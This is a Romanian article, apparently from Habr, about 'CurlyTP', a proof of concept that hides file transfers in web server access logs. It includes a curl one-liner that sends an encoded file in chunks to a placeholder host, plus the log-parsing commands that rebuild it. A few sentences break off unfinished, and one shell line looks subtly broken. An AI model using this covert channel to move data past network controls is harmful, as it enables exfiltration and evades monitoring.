Conform definiției Wikipedia, o picătură moartă este un instrument de conspirație care servește la schimbul de informații sau unele articole între oameni care folosesc o locație secretă. Ideea este că oamenii nu se întâlnesc niciodată - dar totuși fac schimb de informații pentru a menține siguranța operațională.
Ascunzătoarea nu trebuie să atragă atenția. Prin urmare, în lumea offline folosesc adesea lucruri discrete: o cărămidă slăbită în perete, o carte de bibliotecă sau o scobitură într-un copac.
Există multe instrumente de criptare și anonimizare pe Internet, dar însuși faptul de a folosi aceste instrumente atrage atenția. În plus, acestea pot fi blocate la nivel corporativ sau guvernamental. Ce să fac?
Dezvoltatorul Ryan Flowers a propus o opțiune interesantă -
Se pare că orice server web vă permite să salvați aproape orice mesaj în jurnal. Flowers s-a întrebat cum să folosească asta.
El oferă această opțiune:
- Luați un fișier text (mesaj secret) și calculați hash (md5sum).
- Îl codificăm (gzip+uuencode).
- Scriem în jurnal folosind o solicitare deliberat incorectă către server.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Pentru a citi un fișier, trebuie să efectuați aceste operațiuni în ordine inversă: decodați și dezarhivați fișierul, verificați hash-ul (hash-ul poate fi transmis în siguranță pe canale deschise).
Spațiile sunt înlocuite cu =+=
astfel încât să nu existe spații în adresă. Programul, pe care autorul îl numește CurlyTP, folosește codificarea base64, precum atașamentele de e-mail. Solicitarea se face cu un cuvânt cheie ?transfer?
astfel încât destinatarul să-l găsească cu ușurință în jurnalele.
Ce vedem în jurnalele în acest caz?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
După cum sa menționat deja, pentru a primi un mesaj secret, trebuie să efectuați operațiunile în ordine inversă:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Procesul este ușor de automatizat. Md5sum se potrivește, iar conținutul fișierului confirmă că totul a fost decodat corect.
Metoda este foarte simplă. „Scopul acestui exercițiu este doar acela de a demonstra că fișierele pot fi transferate prin mici cereri web inocente și funcționează pe orice server web cu jurnalele de text simplu. În esență, fiecare server web este o ascunzătoare!” scrie Flowers.
Desigur, metoda funcționează numai dacă destinatarul are acces la jurnalele serverului. Dar un astfel de acces este asigurat, de exemplu, de mulți hosteri.
Cum să-l folosească?
Ryan Flowers spune că nu este un expert în securitatea informațiilor și nu va compila o listă de posibile utilizări pentru CurlyTP. Pentru el, este doar o dovadă a conceptului că instrumentele familiare pe care le vedem în fiecare zi pot fi folosite într-un mod neconvențional.
De fapt, această metodă are o serie de avantaje față de alte „ascunsuri” de server precum
Aceasta este una dintre modalitățile de a transmite mesaje prin fișierele de serviciu. Vă puteți aminti cum au fost plasate unele companii avansate
Ideea a fost că numai dezvoltatorii web ar vedea acest ou de Paște, deoarece o persoană normală nu s-ar uita la anteturi sau codul HTML.
Sursa: www.habr.com